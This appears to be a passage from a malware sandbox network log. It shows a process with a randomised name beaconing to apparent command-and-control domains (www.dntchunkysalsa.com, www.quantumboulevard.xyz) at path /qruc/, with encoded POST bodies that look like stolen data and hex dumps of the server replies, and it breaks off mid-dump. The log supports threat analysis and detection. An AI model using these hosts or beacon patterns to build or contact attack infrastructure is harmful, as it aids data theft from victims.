slCvBiMH5saKh5/MPx8XX4UcxWowgYAMhsCgfea3AAvkRTHJuUHIDYNV3a8CoooTDibaHiPl+PunpG/VSf6+IUAppeu5UcnHpVAbseZJjlAirkqqDBBjOt3MRgCaQjoOAFkw9CwZiHXWl2dlfaEOTE1Kyf1pumrfB3qhtjcFWIb7KhlfBJdUtSzGakOjnfMBAwOxFf5+c0BZvrSthzJ4cfMZCxWpin47r56OZK8zrJh4HHk47ivDika/0/LrnLsZOK1auo45kPyUpN04xNkV1+ntAu+gpYHNQylZ51l9ZXzEzM2M31whZI0ONTFe559w8B7lbFwcKtFqG/nNZr9EFIJc6zv7qlrtnlV9J1SlM6z3nLFm
Apr 26, 2024 07:40:39.260349035 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 05:40:39 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49762	66.29.135.159	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:42.076159954 CEST	412	OUT	GET /qruc/?xl=TKQjCngekOUXb4wYgtIljeQn8ysV0DQxkVDYFHPguHHgtawi326eHXwL5/LbdhSUHl1rH91YHPKtuSAwSH4DrTeIYMFIFWvJ0j7VceHyTVuRqxxukq8+akA=&vFLHF=St8dDlnHzrct7 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Host: www.quantumboulevard.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Apr 26, 2024 07:40:42.277779102 CEST	548	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 05:40:42 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49763	154.213.73.100	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:48.314256907 CEST	683	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.dntchunkysalsa.com Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dntchunkysalsa.com Referer: http://www.dntchunkysalsa.com/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 54 5a 37 4c 62 42 72 37 46 72 76 6e 4d 41 76 4b 72 7a 2b 6e 32 4e 6a 51 43 66 53 33 6b 76 41 62 44 30 4c 64 59 52 43 66 59 6a 34 54 42 36 5a 62 43 4a 71 33 64 5a 4c 52 32 66 49 49 63 4f 79 65 33 54 4e 76 48 77 47 79 76 54 5a 57 52 34 65 4e 50 6c 76 79 4c 41 59 6e 76 62 79 61 70 77 34 7a 43 46 45 62 31 74 36 51 44 68 71 78 75 6e 7a 6a 32 37 54 45 66 76 6b 38 6d 46 77 6c 66 4c 77 74 61 7a 6e 41 30 51 74 68 78 30 47 51 78 64 64 41 54 52 78 68 74 58 51 61 37 49 47 61 32 6c 4e 64 64 6f 50 37 7a 6c 75 70 75 4d 34 4b 76 4b 7a 65 2f 41 72 6a 36 52 62 6a 59 77 65 4e 53 7a 79 33 30 67 3d 3d Data Ascii: xl=TZ7LbBr7FrvnMAvKrz+n2NjQCfS3kvAbD0LdYRCfYj4TB6ZbCJq3dZLR2fIIcOye3TNvHwGyvTZWR4eNPlvyLAYnvbyapw4zCFEb1t6QDhqxunzj27TEfvk8mFwlfLwtaznA0Qthx0GQxddATRxhtXQa7IGa2lNddoP7zlupuM4KvKze/Arj6RbjYweNSzy30g==
Apr 26, 2024 07:40:48.705040932 CEST	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 26 Apr 2024 05:40:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	154.213.73.100	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:51.172274113 CEST	703	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.dntchunkysalsa.com Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dntchunkysalsa.com Referer: http://www.dntchunkysalsa.com/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 54 5a 37 4c 62 42 72 37 46 72 76 6e 4f 67 66 4b 70 55 4b 6e 2b 4e 6a 54 48 66 53 33 2b 66 41 58 44 30 48 64 59 51 32 78 5a 52 73 54 41 62 70 62 44 49 71 33 61 5a 4c 52 2b 2f 49 4a 42 65 79 56 33 54 42 6e 48 78 36 79 76 54 4e 57 52 39 79 4e 49 55 76 74 4a 51 59 68 33 72 79 59 33 41 34 7a 43 46 45 62 31 74 65 2b 44 67 4f 78 75 55 37 6a 33 61 54 48 63 76 6b 2f 32 56 77 6c 53 72 77 70 61 7a 6d 54 30 53 4a 4c 78 32 2b 51 78 64 74 41 54 41 78 69 30 6e 52 54 6b 59 48 43 6c 77 34 69 59 37 65 45 72 44 79 74 6d 66 77 54 75 4d 69 45 75 78 4b 30 6f 52 2f 51 46 33 58 35 66 77 50 2b 76 71 42 68 68 50 78 56 2b 6d 6d 6e 68 69 2f 45 38 47 59 45 65 6e 77 3d Data Ascii: xl=TZ7LbBr7FrvnOgfKpUKn+NjTHfS3+fAXD0HdYQ2xZRsTAbpbDIq3aZLR+/IJBeyV3TBnHx6yvTNWR9yNIUvtJQYh3ryY3A4zCFEb1te+DgOxuU7j3aTHcvk/2VwlSrwpazmT0SJLx2+QxdtATAxi0nRTkYHClw4iY7eErDytmfwTuMiEuxK0oR/QF3X5fwP+vqBhhPxV+mmnhi/E8GYEenw=
Apr 26, 2024 07:40:51.561110020 CEST	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 26 Apr 2024 05:40:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49765	154.213.73.100	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:54.071386099 CEST	10785	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.dntchunkysalsa.com Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dntchunkysalsa.com Referer: http://www.dntchunkysalsa.com/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 54 5a 37 4c 62 42 72 37 46 72 76 6e 4f 67 66 4b 70 55 4b 6e 2b 4e 6a 54 48 66 53 33 2b 66 41 58 44 30 48 64 59 51 32 78 5a 52 30 54 41 74 39 62 44 72 43 33 62 5a 4c 52 30 66 49 4d 42 65 79 55 33 54 5a 64 48 78 33 51 76 51 31 57 52 66 36 4e 4e 6d 58 74 44 51 59 68 72 62 79 62 70 77 35 70 43 42 6f 66 31 74 4f 2b 44 67 4f 78 75 56 4c 6a 77 4c 54 48 51 50 6b 38 6d 46 77 35 66 4c 77 4e 61 7a 2b 44 30 53 64 78 79 46 32 51 78 35 4a 41 52 79 4a 69 38 6e 52 52 6c 59 48 52 6c 77 38 44 59 39 37 33 72 44 75 48 6d 59 77 54 74 72 50 44 30 44 2b 77 33 69 65 49 52 56 50 48 51 79 44 65 67 71 39 6c 70 39 4e 39 70 45 4f 56 37 52 61 54 75 6e 63 35 41 54 64 6d 62 51 79 76 31 47 4a 4e 35 69 7a 4a 72 43 6e 47 41 79 52 67 50 79 31 72 64 55 79 61 39 71 30 52 2f 61 59 64 4b 4f 4f 45 63 6e 32 56 59 34 49 68 51 4a 35 79 38 78 56 74 4b 37 53 67 30 45 38 2b 79 4f 73 49 37 49 6f 70 32 44 53 6f 54 62 72 5a 31 74 2b 68 33 34 38 6b 53 6e 65 57 53 75 79 6a 75 34 74 66 6d 65 51 32 58 38 32 67 50 57 31 4e 75 64 58 75 46 54 37 43 52 32 50 73 58 6b 46 46 65 37 48 45 58 73 5a 68 72 33 4c 44 6a 57 4a 6a 64 75 6c 4a 6d 63 68 6f 59 73 50 45 4f 77 47 2b 57 62 63 39 30 49 4f 32 46 51 76 47 6a 6f 4f 71 66 62 44 77 45 34 4c 76 7a 32 42 31 55 75 64 61 49 54 6b 72 4c 62 59 37 65 42 38 56 71 32 64 30 6e 74 37 4e 38 6a 39 74 61 6e 30 46 47 66 76 7a 4b 4b 53 37 79 6d 48 50 79 35 6d 69 73 70 7a 46 50 37 69 42 59 61 51 31 46 53 72 41 67 70 48 36 4e 6f 74 72 6f 48 43 35 71 74 4f 43 45 47 72 6f 31 4e 68 46 70 4b 45 50 36 44 76 4f 38 77 62 6e 44 55 6c 49 4d 36 48 71 5a 2b 4b 77 63 48 6a 79 46 69 4b 41 4d 72 4e 31 45 4d 69 48 46 78 4b 59 50 7a 31 63 6d 68 6e 58 41 65 69 6d 68 77 70 53 54 51 68 6b 51 70 46 77 2f 46 62 31 51 67 4c 4e 6a 49 47 48 67 58 59 45 41 53 72 6d 47 69 30 43 32 35 55 30 6d 2f 55 6c 49 50 55 37 45 45 30 77 35 46 6a 72 30 52 59 67 62 61 69 48 78 64 7a 74 38 4e 48 63 49 64 53 55 53 4b 70 2b 75 76 50 58 4d 37 6b 51 73 4b 69 74 43 73 47 4c 70 4d 67 66 38 70 2f 45 52 64 39 5a 4f 4f 6c 4e 62 7a 71 53 58 7a 58 49 46 48 33 78 5a 69 33 42 57 53 31 33 6a 63 59 6b 67 46 45 6f 6c 33 79 63 4f 2b 34 46 67 44 51 69 55 69 33 39 63 68 56 36 53 48 55 44 6c 44 2b 77 62 4f 74 2f 5a 47 52 5a 48 53 79 65 30 43 44 4b 46 39 6c 64 79 73 50 43 45 7a 31 31 36 78 76 32 6a 79 70 4b 70 4e 50 48 48 52 64 6d 37 57 33 62 62 73 33 37 76 49 66 5a 71 44 76 30 75 74 47 54 58 34 42 6b 6b 65 69 32 5a 52 62 68 78 53 42 6d 2b 7a 48 34 45 42 4b 69 59 47 41 79 45 53 6c 66 48 44 44 64 55 2b 4b 35 4a 4d 6f 4f 33 64 4e 53 78 36 43 65 52 71 62 6d 34 4f 6c 4e 74 4e 4e 7a 31 68 4b 48 4b 2b 6c 67 71 55 57 68 37 53 68 72 54 78 70 63 31 4c 48 7a 54 41 64 50 2f 78 66 71 2b 43 6b 68 53 4d 45 70 4d 50 39 63 48 62 38 41 53 73 43 6c 66 6d 79 61 73 56 63 68 6f 78 66 4e 64 67 6f 50 77 57 62 66 44 6c 31 2f 63 65 4f 59 37 63 66 35 68 70 44 2b 52 2b 69 51 33 39 56 57 79 54 2f 59 30 76 77 34 74 67 33 5a 58 35 79 45 56 6c 57 46 34 63 47 4c 33 35 7a 34 35 6d 75 49 42 33 34 34 73 50 78 43 78 55 54 50 6e 77 32 52 70 33 6a 58 39 79 52 41 61 50 43 6f 4b 36 39 41 4f 72 37 75 78 5a 4b 65 6b 6c 4f 57 76 70 6b 57 44 36 32 2b 49 73 6e 34 4e 49 45 66 31 52 45 4e 71 63 2b 6e 4e 57 67 37 53 39 6f 32 32 4a 55 46 2f 5a 4b 35 75 37 6b 43 5a 41 63 63 4b 78 44 4d 7a 6c 43 4d 6c 47 51 45 6c 4d 56 67 65 62 2f 31 4e 2b 44 54 70 30 5a 45 51 33 55 54 43 4e 35 50 55 59 72 51 4f 32 4f 70 43 78 68 36 6f 44 62 36 42 42 37 35 38 54 35 37 55 4b 77 33 45 32 78 31 39 52 2f 74 48 5a 63 76 64 70 30 73 44 48 35 51 76 6b 73 79 33 33 48 47 64 38 76 37 6a 7a 68 39 71 73 72 31 54 38 4a 50 75 64 50 55 42 66 76 62 53 4e 32 42 4f 41 51 37 76 39 37 45 4c 77 58 70 61 6a 31 6b 71 72 4f 78 48 31 35 30 59 46 36 2b 43 65 79 4f 66 34 47 44 59 30 36 43 4a 69 63 79 74 54 4a 43 57 4c 4e 4a 56 38 51 4e 66 79 4a 53 42 74 31 68 49 61 73 6c 6b 73 6a 6a 6a 75 49 4a 32 32 61 6e 43 6b 73 57 42 58 55 59 47 6a 75 76 52 52 36 45 49 37 37 39 70 78 49 67 58 71 56 59 59 4f 55 69 52 65 5a 67 38 36 57 61 46 76 56 71 41 45 46 64 58 54 4f 49 35 33 64 58 36 68 63 64 35 38 32 4e 33 74 73 56 53 6a 54 49 34 4e 34 6b 68 6d 48 4e 54 4f 6a 56 67 6b 4f 51 6b 44 72 49 56 54 6e 50 Data Ascii: xl=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
Apr 26, 2024 07:40:54.466469049 CEST	190	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 26 Apr 2024 05:40:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49766	154.213.73.100	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:56.939573050 CEST	410	OUT	GET /qruc/?vFLHF=St8dDlnHzrct7&xl=ebTrY2reCe2ZTSPQmCOT7uftBIKel9RxJULKIziXTH46LqUEJduuafb87psJAf6uxD5XXi6v1WxfauXtOkGyHWMQjIrD11Zkal8n9/6ZGFCOuXv54YqdQOw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Host: www.dntchunkysalsa.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Apr 26, 2024 07:40:57.373308897 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Apr 2024 05:40:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 38 35 34 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 62 6c 65 2d 64 65 76 69 63 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 96 b0 e4 ba ac e8 91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 96 b0 e4 ba ac e8 91 a1 e8 90 84 e5 85 a5 e5 8f a3 2f 61 70 70 2f 69 6f 73 2f e5 ae 89 e5 8d 93 2f e5 9c a8 e7 ba bf 2f e5 ae 98 e7 bd 91 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 96 b0 e4 ba ac e8 